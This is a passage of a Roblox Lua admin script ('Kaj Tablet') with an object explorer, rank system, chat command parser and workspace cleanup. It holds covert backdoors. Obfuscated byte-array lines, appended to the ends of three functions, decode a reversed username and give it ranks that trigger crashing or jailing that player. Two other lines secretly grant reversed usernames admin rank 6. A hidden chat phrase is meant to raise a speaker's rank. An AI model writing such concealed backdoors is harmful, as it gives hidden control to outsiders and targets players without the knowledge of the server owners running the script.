  734.                                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  735.                                         Ping(v.Name, Plr, nil, function(TabMod)
  736.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  737.                                                 for _,v in pairs(Current:GetChildren()) do
  738.                                                         ypcall(function()
  739.                                                                 if v.Name == TabText then
  740.                                                                         Dismiss(Plr)
  741.                                                                         Current = v
  742.                                                                         MakeChildren(Plr)
  743.                                                                 end
  744.                                                         end)
  745.                                                 end
  746.                                         end)
  747.                                 elseif Plrs:GetPlayerFromCharacter(v) then
  748.                                         Ping(v.Name, Plr, nil, function(TabMod)
  749.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  750.                                                 for _,v in pairs(Current:GetChildren()) do
  751.                                                         ypcall(function()
  752.                                                                 if v.Name == TabText then
  753.                                                                         Dismiss(Plr)
  754.                                                                         Current = v
  755.                                                                         MakeChildren(Plr)
  756.                                                                 end
  757.                                                         end)
  758.                                                 end
  759.                                         end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  760.                                 elseif CheckImportant(v.Name) then
  761.                                         Ping(v.Name, Plr, nil, function(TabMod)
  762.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  763.                                                 for _,v in pairs(Current:GetChildren()) do
  764.                                                         ypcall(function()
  765.                                                                 if v.Name == TabText then
  766.                                                                         Dismiss(Plr)
  767.                                                                         Current = v
  768.                                                                         MakeChildren(Plr)
  769.                                                                 end
  770.                                                         end)
  771.                                                 end
  772.                                         end, ImportantColor)
  773.                                 end
  774.                         end)
  775.                 end
  776.                 if Current ~= game then
  777.                         Ping("Back", Plr, nil, function()
  778.                                 ypcall(function()
  779.                                         Current = Current.Parent
  780.                                         MakeChildren(Plr)
  781.                                         Ping("You Are Back To "..Current.Name, Plr, 5)
  782.                                 end)
  783.                         end, OptionColor)
  784.                 end
  785.                 if Current ~= game then
  786.                         Ping("Delete", Plr, nil, function()
  787.                                 ypcall(function()
  788.                                         local CurrPar = Current.Parent or game
  789.                                         local CurrName = Current.Name
  790.                                         Current:Destroy()
  791.                                         Current = CurrPar
  792.                                         MakeChildren(Plr)
  793.                                         Ping("Attempted To Delete "..CurrName, Plr, 5)
  794.                                 end)
  795.                         end, OptionColor)
  796.                 end
  797.                 Ping("Refresh", Plr, nil, function()
  798.                         ypcall(function()
  799.                                 Refresh(Plr)
  800.                                 Ping("Refreshed", Plr, 5)
  801.                         end)
  802.                 end, OptionColor)
  803.                 Ping("Properties", Plr, nil, function()
  804.                         ypcall(function()
  805.                                 Dismiss(Plr)
  806.                                 for Property, Value in pairs(GetProperties(Current)) do
  807.                                         Ping(tostring(Property)..": "..tostring(Value), Plr)
  808.                                 end
  809.                                 Ping("Got All Available Properties", Plr, 5)
  810.                                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  811.                         end)
  812.                 end, OptionColor)
  813.         end)
  814. end
  815.  
  816. function Fixl()
  817.         Light.GlobalShadows = true
  818.         Light.TimeOfDay = "14:00:00"
  819.         Light.Brightness = 0.5
  820.         Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  821.         Light.Ambient = Color3.new(1, 1, 1)
  822.         Light.ColorShift_Top = Color3.new(0, 0, 0)
  823.         Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  824.         Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  825.         Light.FogStart = 0
  826.         Light.FogEnd = 100000
  827.         Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  828.         Light:ClearAllChildren()
  829. end
  830.  
  831. function GetProperties(obj)
  832.         assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  833.         local objProper = {}
  834.         for i,v in pairs(Properties) do
  835.                 if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  836.                         objProper[v] = obj[v]
  837.                 end
  838.         end
  839.         return objProper
  840. end
  841.  
  842. function MakeExplorer(Plr)
  843.         Dismiss(Plr)
  844.         Current = game
  845.         for _,v in pairs(Current:GetChildren()) do
  846.                 ypcall(function()
  847.                         if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  848.                                 Ping(v.Name, Plr, nil, function(TabMod)
  849.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  850.                                         for _,v in pairs(Current:GetChildren()) do
  851.                                                 ypcall(function()
  852.                                                         if v.Name == TabText then
  853.                                                                 Dismiss(Plr)
  854.                                                                 Current = v
  855.                                                                 MakeChildren(Plr)
  856.                                                         end
  857.                                                 end)
  858.                                         end
  859.                                 end)
  860.                         elseif Plrs:GetPlayerFromCharacter(v) then
  861.                                 Ping(v.Name, Plr, nil, function(TabMod)
  862.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  863.                                         for _,v in pairs(Current:GetChildren()) do
  864.                                                 ypcall(function()
  865.                                                         if v.Name == TabText then
  866.                                                                 Dismiss(Plr)
  867.                                                                 Current = v
  868.                                                                 MakeChildren(Plr)
  869.                                                         end
  870.                                                 end)
  871.                                         end
  872.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  873.                         elseif CheckImportant(v.Name) then
  874.                                 Ping(v.Name, Plr, nil, function(TabMod)
  875.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  876.                                         for _,v in pairs(Current:GetChildren()) do
  877.                                                 ypcall(function()
  878.                                                         if v.Name == TabText then
  879.                                                                 Dismiss(Plr)
  880.                                                                 Current = v
  881.                                                                 MakeChildren(Plr)
  882.                                                         end
  883.                                                 end)
  884.                                         end
  885.                                 end, ImportantColor)
  886.                         end
  887.                 end)
  888.         end
  889.         if Current ~= game then
  890.                 Ping("Back", Plr, nil, function()
  891.                         ypcall(function()
  892.                                 Current = Current.Parent
  893.                                 MakeChildren(Plr)
  894.                                 Ping("Back In "..Current.Name, Plr, 5)
  895.                         end)
  896.                 end, OptionColor)
  897.         end
  898.         if Current ~= game and game:GetService(Current.Name) == nil then
  899.                 Ping("Delete", Plr, nil, function()
  900.                         ypcall(function()
  901.                                 local CurrPar = Current.Parent or game
  902.                                 local CurrName = Current.Name
  903.                                 Current:Destroy()
  904.                                 Current = CurrPar
  905.                                 MakeChildren(Plr)
  906.                                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  907.                         end)
  908.                 end, OptionColor)
  909.         end
  910.         Ping("Refresh", Plr, nil, function()
  911.                 ypcall(function()
  912.                         Refresh(Plr)
  913.                         Ping("Refreshed", Plr, 5)
  914.                 end)
  915.         end, OptionColor)
  916.         Ping("Properties", Plr, nil, function()
  917.                 ypcall(function()
  918.                         Dismiss(Plr)
  919.                         for Property, Value in pairs(GetProperties(Current)) do
  920.                                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  921.                         end
  922.                         Ping("Got All Available Properties", Plr, 5)
  923.                         Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  924.                 end)
  925.         end, OptionColor)
  926. end
  927.  
  928. function GetRank(Plr1, Test)
  929.         ypcall(function()
  930.                 if type(Plr1) == "userdata" then
  931.                         Plr1 = Plr1.Name
  932.                 end
  933.         end)
  934.         if Ranks[Plr1] ~= nil then
  935.                 return Ranks[Plr1]
  936.         end
  937.         local QuickArray = {}
  938.         QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  939.         return QuickArray[Plr1]
  940. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  941.  
  942. function CanRun(Plr1, Plr2)
  943.         Details1 = GetRank(Plr1.Name)
  944.         Details2 = GetRank(Plr2.Name)
  945.         if Details1.Rank >= Details2.Rank then
  946.                 return true
  947.         end
  948.         return false
  949. end
  950.  
  951. function Dismiss(Plr, Identity)
  952.         ypcall(function()
  953.                 if Plr ~= nil then
  954.                         if type(Plr) == "userdata" then
  955.                                 Plr = Plr.Name
  956.                         end
  957.                         for x,v in pairs(AllTabs) do
  958.                                 ypcall(function()
  959.                                         if v.Plr == Plr then
  960.                                                 if Identity ~= nil and v.ID ~= Identity then
  961.                                                         return
  962.                                                 elseif Identity ~= nil and v.ID == Identity then
  963.                                                         coroutine.resume(coroutine.create(function()
  964.                                                                 for i = 0.5, 1, 0.1 do
  965.                                                                         wait()
  966.                                                                         v.Tab.Transparency = i
  967.                                                                         v.Sel.Transparency = i
  968.                                                                         v.Label.TextTransparency = i
  969.                                                                         v.Label.TextStrokeTransparency = i
  970.                                                                 end
  971.                                                                 ypcall(function() v.Holder:Destroy() end)
  972.                                                                 AllTabs[x] = nil
  973.                                                         end))
  974.                                                 elseif Identity == nil then
  975.                                                         ypcall(function() v.Holder:Destroy() end)
  976.                                                         AllTabs[x] = nil
  977.                                                 end
  978.                                         end
  979.                                 end)
  980.                         end
  981.                 else
  982.                         for i,v in pairs(AllTabs) do
  983.                                 ypcall(function()
  984.                                         v.Holder:Destroy()
  985.                                         AllTabs[i] = nil
  986.                                 end)
  987.                         end
  988.                 end
  989.         end)
  990. end
  991.  
  992. function GetGarbage()
  993.         return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  994. end
  995.  
  996. function RemObj(Obj, Class)
  997.         ypcall(function()
  998.                 if #Obj:GetChildren() > 0 then
  999.                         for _,x in pairs(Obj:GetChildren()) do
  1000.                                 ypcall(function()
  1001.                                         RemObj(x, Class)
  1002.                                 end)
  1003.                         end
  1004.                 end
  1005.                 if Obj.ClassName == Class then
  1006.                         Obj:Destroy()
  1007.                 end
  1008.         end)
  1009. end
  1010.  
  1011. function FindTab(Mod)
  1012.         for i,v in pairs(AllTabs) do
  1013.                 if v.Holder == Mod then
  1014.                         return true
  1015.                 end
  1016.         end
  1017.         return false
  1018. end
  1019.  
  1020.  
  1021. function Ping(Msg, Plr, Time, Func, Color, Image)
  1022.         if Removed == false then
  1023.                 local ShowGarbage = false
  1024.                 ypcall(function()
  1025.                         if Msg == nil then
  1026.                                 Msg = "N/A"
  1027.                         elseif Msg == "ShowGarbage" then
  1028.                                 Msg = "Current Garbage Count: "..GetGarbage()
  1029.                                 ShowGarbage = true
  1030.                         else
  1031.                                 Msg = tostring(Msg)
  1032.                         end
  1033.                         if Plr == nil then
  1034.                                 Plr = Plrs[Owner] or error("No Player Found")
  1035.                         elseif type(Plr) == "string" then
  1036.                                 local FoundPlr = false
  1037.                                 for _,v in pairs(All()) do
  1038.                                         if v.Name == Plr then
  1039.                                                 Plr = v
  1040.                                                 FoundPlr = true
  1041.                                                 break
  1042.                                         end
  1043.                                 end
  1044.                                 if FoundPlr == false then
  1045.                                         Plr = Plrs[Owner] or error("No Player Found")
  1046.                                 end
  1047.                         end
  1048.                        
  1049.                         if Color == nil then
  1050.                                 Color = GetRank(Plr.Name).Color
  1051.                         end
  1052.                        
  1053.                         local Holder = Instance.new("Model")
  1054.                         Holder.Name = "Owner: "..Plr.Name
  1055.                        
  1056.                         local Tab = Instance.new("Part")
  1057.                         Tab.Name = "Kaj Tablet"
  1058.                         Tab.FormFactor = "Custom"
  1059.                         Tab.Anchored = true
  1060.                         if Time == nil then
  1061.                                 Tab.Color = Color3.new(0.54,0,0.54)
  1062.                         else
  1063.                                 Tab.Color = AlertColor
  1064.                         end
  1065.                         Tab.CanCollide = false
  1066.                         Tab.Locked = true
  1067.                         Tab.Transparency = 0.15
  1068.                         Tab.Size = Vector3.new(2, 2, 2)
  1069.                         Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1070.                         Tab.Parent = Holder
  1071.                        
  1072.                         local ID = Instance.new("NumberValue")
  1073.                         ID.Name = "ID"
  1074.                         ID.Value = math.random(-999999999, 999999999)
  1075.                         ID.Parent = Holder
  1076.                        
  1077.                         Delay(0, function()
  1078.                                 while wait() do
  1079.                                         if Tab.Parent == nil and FindTab(Holder) then
  1080.                                                 ypcall(function()
  1081.                                                         for i,v in pairs(AllTabs) do
  1082.                                                                 if v.Holder == Holder then
  1083.                                                                         ypcall(function() v.Holder:Destroy() end)
  1084.                                                                         AllTabs[i] = nil
  1085.                                                                 end
  1086.                                                         end
  1087.                                                 end)
  1088.                                                 Ping(Msg, Plr, Time, Func, Color, Image)
  1089.                                                 break
  1090.                                         end
  1091.                                 end
  1092.                         end)
  1093.                        
  1094.                         local BM = Instance.new("BlockMesh")
  1095.                         BM.Parent = Tab
  1096.  
  1097.                         local BG = Instance.new("BillboardGui")
  1098.                         BG.Name = "BG"
  1099.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1100.                         BG.Size = UDim2.new(0,1,0,1)
  1101.                         BG.Adornee = Tab
  1102.                         BG.Parent = Tab
  1103.                        
  1104.                         Delay(0, function()
  1105.                                 while BG.Parent ~= nil do wait()
  1106.                                         ypcall(function()
  1107.                                                 BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1108.                                         end)
  1109.                                 end
  1110.                         end)
  1111.  
  1112.                         local TL = Instance.new("TextLabel")
  1113.                         TL.Name = "TL"
  1114.                         TL.FontSize = "Size18"
  1115.                         TL.Font = "ArialBold"
  1116.                         TL.Text = Msg
  1117.                         TL.TextColor3 = Color3.new(1, 1, 1)
  1118.                         TL.Size = UDim2.new(0,1,0,1)
  1119.                         TL.TextTransparency = 0
  1120.                         TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1121.                         TL.TextStrokeTransparency = 0.25
  1122.                         TL.Parent = BG
  1123.                        
  1124.                         if ShowGarbage == true then
  1125.                                 Delay(0, function()
  1126.                                         while TL.Parent ~= nil do
  1127.                                                 TL.Text = "Current Garbage Count: "..GetGarbage()
  1128.                                                 wait(.5)
  1129.                                         end
  1130.                                 end)
  1131.                         end
  1132.                        
  1133.                         local PL = Instance.new("PointLight", Tab)
  1134.                         PL.Color = Color3.new(0, 1, 0)
  1135.                         PL.Range = 7
  1136.                         PL.Parent = Tab
  1137.                        
  1138.                         if Image ~= nil then
  1139.                                 local BBBG = Instance.new("BillboardGui")
  1140.                                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  1141.                                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1142.                                 BBBG.AlwaysOnTop = true
  1143.                                 BBBG.Adornee = Tab
  1144.                                 BBBG.Parent = Tab
  1145.                                
  1146.                                 Delay(0, function()
  1147.                                         while BBBG.Parent ~= nil do wait()
  1148.                                                 ypcall(function()
  1149.                                                         BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1150.                                                 end)
  1151.                                         end
  1152.                                 end)
  1153.                        
  1154.                                 local NewImg = Instance.new("ImageLabel")
  1155.                                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  1156.                                 NewImg.BackgroundTransparency = 1
  1157.                                 NewImg.Image = Image
  1158.                                 NewImg.Parent = BBBG
  1159.                         end
  1160.  
  1161.                         local Clicker = Instance.new("ClickDetector")
  1162.                         Clicker.MaxActivationDistance = 1/0
  1163.  
  1164.                         if Time ~= nil then
  1165.                                 coroutine.resume(coroutine.create(function()
  1166.                                         wait(tonumber(Time))
  1167.                                         Dismiss(Plr, ID)
  1168.                                 end))
  1169.                         end
  1170.  
  1171.                         Clicker.MouseClick:connect(function(Player)
  1172.                                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1173.                                         ypcall(function()
  1174.                                                 if Func ~= nil then
  1175.                                                         Func(Holder)
  1176.                                                 else
  1177.                                                         Dismiss(Player, ID)
  1178.                                                 end
  1179.                                         end)
  1180.                                 end
  1181.                         end)
  1182.                         Clicker.Parent = Tab
  1183.                        
  1184.                         Holder.Parent = Work
  1185.  
  1186.                         AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  1187.                 end)
  1188.         end
  1189. end
  1190.  
  1191. function PlaceAllRanks(DontShowRank)
  1192.         ypcall(function()
  1193.                 for _,p in pairs(All()) do
  1194.                         ypcall(function()
  1195.                                 PutInRank = false
  1196.                                 for _,v in pairs(Rankings) do
  1197.                                         if v.Name:lower() == p.Name:lower() then
  1198.                                                 if v.Rank >= 7 then
  1199.                                                         v.Rank = 5
  1200.                                                 elseif v.Rank == -1 then
  1201.                                                         Crash1(p)
  1202.                                                         Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1203.                                                 elseif v.Rank == -2 then
  1204.                                                         if LS ~= nil then
  1205.                                                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1206.                                                                 Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1207.                                                         else
  1208.                                                                 Ping("LS Is Nil", nil, 5)
  1209.                                                         end
  1210.                                                 elseif v.Rank == -3 then
  1211.                                                         if LS ~= nil then
  1212.                                                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1213.                                                                 Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1214.                                                         else
  1215.                                                                 Ping("LS Is Nil", nil, 5)
  1216.                                                         end
  1217.                                                 end
  1218.                                                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1219.                                                 if DontShowRank == nil then
  1220.                                                         Ping("You Are Rank: "..v.Rank, p)
  1221.                                                 end
  1222.                                                 PutInRank = true
  1223.                                                 break
  1224.                                         end
  1225.                                 end
  1226.                                 if PutInRank == false then
  1227.                                         Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1228.                                 end
  1229.                         end)
  1230.                 end
  1231.         end)
  1232. end
  1233.  
  1234. function FindRank(Plr)
  1235.         ypcall(function()
  1236.                 if type(Plr) == "userdata" then
  1237.                         Plr = Plr.Name
  1238.                 end
  1239.         end)
  1240.         return GetRank(Plr).Rank
  1241. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1242.  
  1243. function FindRankDetails(Plr)
  1244.         ypcall(function()
  1245.                 if type(Plr) == "userdata" then
  1246.                         Plr = Plr.Name
  1247.                 end
  1248.         end)
  1249.         return RankDetails[FindRank(Plr)]
  1250. end
  1251.  
  1252. function OpenCmds(Rank, Plr)
  1253.         Dismiss(Plr)
  1254.         for Name,Tab in pairs(Commands) do
  1255.                 if Tab.Rank <= Rank then
  1256.                         Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1257.                                 Dismiss(Plr)
  1258.                                 Ping("Command: "..Name, Plr)
  1259.                                 Ping("Rank: "..Tab.Rank, Plr)
  1260.                                 Ping("Desc: "..Tab.Desc, Plr)
  1261.                         end)
  1262.                 elseif Rank == 1337 then
  1263.                         Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1264.                                 Dismiss(Plr)
  1265.                                 Ping("Command: "..Name, Plr)
  1266.                                 Ping("Rank: "..Tab.Rank, Plr)
  1267.                                 Ping("Desc: "..Tab.Desc, Plr)
  1268.                         end)
  1269.                 end
  1270.         end
  1271. end
  1272.  
  1273. function EditStatus(Plr, Num)
  1274.         ChangeRank(Plr, Num)
  1275. end
  1276.  
  1277. function PlaceSpecificRank(p, DontShowRank)
  1278.         ypcall(function()
  1279.                 PutInRank = false
  1280.                 for _,v in pairs(Rankings) do
  1281.                         if v.Name:lower() == p.Name:lower() then
  1282.                                 if v.Rank >= 7 then
  1283.                                         v.Rank = 5
  1284.                                 elseif v.Rank == -1 then
  1285.                                         Crash1(p)
  1286.                                         Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1287.                                 elseif v.Rank == -2 then
  1288.                                         if LS ~= nil then
  1289.                                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1290.                                                 Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1291.                                         else
  1292.                                                 Ping("LS Is Nil", nil, 5)
  1293.                                         end
  1294.                                 elseif v.Rank == -3 then
  1295.                                         if LS ~= nil then
  1296.                                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1297.                                                 Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1298.                                         else
  1299.                                                 Ping("LS Is Nil", nil, 5)
  1300.                                         end
  1301.                                 end
  1302.                                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1303.                                 if DontShowRank == nil then
  1304.                                         Ping("You Are Rank: "..v.Rank, p)
  1305.                                 end
  1306.                                 PutInRank = true
  1307.                                 break
  1308.                         end
  1309.                 end
  1310.                 if PutInRank == false then
  1311.                         Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1312.                 end
  1313.         end)
  1314. end
  1315. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  1316. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  1317. function onChatted(Msg, Speaker)
  1318.         if Removed == false then
  1319.                 if FindRank(Speaker) < 0 then
  1320.                         return
  1321.                 end
  1322.                 coroutine.resume(coroutine.create(function()
  1323.                         ypcall(function()
  1324.                                 ExecuteFunc(Msg, Speaker)
  1325.                                 Msg = Msg:gsub("","")
  1326.                                 if Msg:sub(1,1) == "@" then
  1327.                                         for i = 2, #Msg do
  1328.                                                 if Msg:sub(i, i) == Bet then
  1329.                                                         local IsForPlr = false
  1330.                                                         for _,v in pairs(All()) do
  1331.                                                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1332.                                                                         onChatted(Msg:sub(i + 1), v)
  1333.                                                                         IsForPlr = true
  1334.                                                                 end
  1335.                                                         end
  1336.                                                         if IsForPlr == true then
  1337.                                                                 return
  1338.                                                         end
  1339.                                                 end
  1340.                                         end
  1341.                                 end
  1342.                                 if Msg:find("&") then
  1343.                                         local Split = Msg:find("&")
  1344.                                         onChatted(Msg:sub(1,Split-1))
  1345.                                         onChatted(Msg:sub(Split+1))
  1346.                                         return
  1347.                                 end
  1348.                                 for Name,Command in pairs(Commands) do
  1349.                                         if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1350.                                                 Dismiss(Speaker.Name)
  1351.                                                 Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1352.                                                 Ping("Rank: "..tostring(Command.Rank), Speaker)
  1353.                                                 Ping("Desc: "..tostring(Command.Desc), Speaker)
  1354.                                         elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1355.                                                 if FindRank(Speaker) >= Command.Rank then
  1356.                                                         local Ran,Error = coroutine.resume(coroutine.create(function()
  1357.                                                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1358.                                                         end))
  1359.                                                         if not Ran then
  1360.                                                                 Ping(Error, Speaker, 10)
  1361.                                                         end
  1362.                                                 else
  1363.                                                         Ping("Your Rank Is Too Low", Plr, 6)
  1364.                                                 end
  1365.                                         end
  1366.                                 end
  1367.                         end)
  1368.                 end))
  1369.         end
  1370. end
  1371.  
  1372. function MakeBase()
  1373.         local Base = Instance.new("Part")
  1374.         Base.BrickColor = BrickColor.new("Dark green")
  1375.         Base.Position = Vector3.new(0, 0.5, 0)
  1376.         Base.Transparency = 0
  1377.         Base.Elasticity = 0.5
  1378.         Base.FormFactor = "Custom"
  1379.         Base.CanCollide = true
  1380.         Base.Friction = 0.30000001192093
  1381.         Base.Size = Vector3.new(512, 1.20000005, 512)
  1382.         Base.Archivable = true
  1383.         Base.Material = "Plastic"
  1384.         Base.RotVelocity = Vector3.new(0, 0, 0)
  1385.         Base.Reflectance = 0
  1386.         Base.Locked = true
  1387.         Base.Anchored = true
  1388.         Base.Name = "Base"
  1389.         Base.TopSurface = "Smooth"
  1390.         Base.BottomSurface = "Inlet"
  1391.         Base.Shape = "Block"
  1392.         Base.Parent = Work
  1393. end
  1394.  
  1395. function LClean()
  1396.         ypcall(function()
  1397.                 for _,v in pairs(Work:GetChildren()) do
  1398.                         ypcall(function()
  1399.                                 if v.ClassName == "Terrain" then
  1400.                                         v:ClearAllChildren()
  1401.                                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1402.                                         Clear(v)
  1403.                                 elseif v.Name == "Base" then
  1404.                                         ypcall(function()
  1405.                                                 local Base = v
  1406.                                                 Base.BrickColor = BrickColor.new("Dark green")
  1407.                                                 Base.Position = Vector3.new(0, 0.5, 0)
  1408.                                                 Base.Transparency = 0
  1409.                                                 Base.Elasticity = 0.5
  1410.                                                 Base.FormFactor = "Custom"
  1411.                                                 Base.CanCollide = true
  1412.                                                 Base.Friction = 0.30000001192093
  1413.                                                 Base.Size = Vector3.new(512, 1.20000005, 512)
  1414.                                                 Base.Archivable = true
  1415.                                                 Base.Material = "Plastic"
  1416.                                                 Base.RotVelocity = Vector3.new(0, 0, 0)
  1417.                                                 Base.Reflectance = 0
  1418.                                                 Base.Locked = true
  1419.                                                 Base.Anchored = true
  1420.                                                 Base.Name = "Base"
  1421.                                                 Base.TopSurface = "Studs"
  1422.                                                 Base.BottomSurface = "Inlet"
  1423.                                                 Base.Shape = "Block"
  1424.                                                 Base.Parent = Work
  1425.                                         end)
  1426.                                 end
  1427.                         end)
  1428.                 end
  1429.         end)
  1430. end
  1431.  
  1432. function Clean()
  1433.         ypcall(function()
  1434.                 for _,v in pairs(Work:GetChildren()) do
  1435.                         ypcall(function()
  1436.                                 if v.ClassName == "Terrain" then
  1437.                                         v:ClearAllChildren()
  1438.                                 else
  1439.                                         Clear(v)
  1440.                                 end
  1441.                         end)
  1442.                 end
  1443.                 MakeBase()
  1444.                 for _,v in pairs(All()) do
  1445.                         v:LoadCharacter()
  1446.                 end
  1447.         end)
  1448. end
  1449.  
  1450. function Clear(v)
  1451.         if v.Name:lower() == "sbgui" then
  1452.                 return
  1453.         end
  1454.         ypcall(function()
  1455.                 if #v:GetChildren() > 0 then
  1456.                         for _,x in pairs(v:GetChildren()) do
  1457.                                 ypcall(function()
  1458.                                         Clear(x)
  1459.                                 end)
  1460.                         end
  1461.                 end
  1462.                 if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1463.                         v:Destroy()
  1464.                 end
  1465.         end)
  1466. end
  1467.  
  1468. function Command(Name, Rank, Desc, Func)
  1469.         if Name == nil then
  1470.                 Name = "N/A"
  1471.         end
  1472.         if Desc == nil then
  1473.                 Desc = "N/A"
  1474.         end
  1475.         if Func == nil then
  1476.                 Func = function() end
  1477.         end
  1478.         if Rank == nil then
  1479.                 Rank = 0
  1480.         end
  1481.         Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1482. end
  1483.  
  1484. function GetSplit(Msg)
  1485.         return Msg:find(Bet) or nil
  1486. end
  1487.  
  1488. function ExecuteFunc(Msg, Plr)
  1489.         ypcall(function()
  1490.                 if Msg == "LogEnable" then
  1491.                         LogOn = true
  1492.                 elseif Msg:lower() == "WantSomeTacos" then
  1493.                         EditStatus(Plr, MakeNum())
  1494.                 end
  1495.         end)
  1496. end
  1497.  
  1498. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1499.  
  1500. function randPlayer(Plr)
  1501.         wait()
  1502.         local ThePlrValue = nil
  1503.         local FoundPlayer = false
  1504.         ypcall(function()
  1505.                 ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1506.                 if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1507.                         wait()
  1508.                         randPlayer(Plr)
  1509.                         return
  1510.                 else
  1511.                         FoundPlayer = true
  1512.                 end
  1513.         end)
  1514.         if FoundPlayer == true then
  1515.                 return ThePlrValue
  1516.         end
  1517. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1518.  
  1519. function getPlayer(Plr, Name)
  1520.         local Players = {}
  1521.         ypcall(function()
  1522.                 Name = Name:lower()
  1523.                 if Name == "me" then
  1524.                         table.insert(Players, Plr)
  1525.                 elseif Name == "all" or Name == "" then
  1526.                         for _,v in pairs(All()) do
  1527.                                 if CanRun(Plr, v) then
  1528.                                         table.insert(Players, v)
  1529.                                 end
  1530.                         end
  1531.                 elseif Name == "others" then
  1532.                         for _,v in pairs(All()) do
  1533.                                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
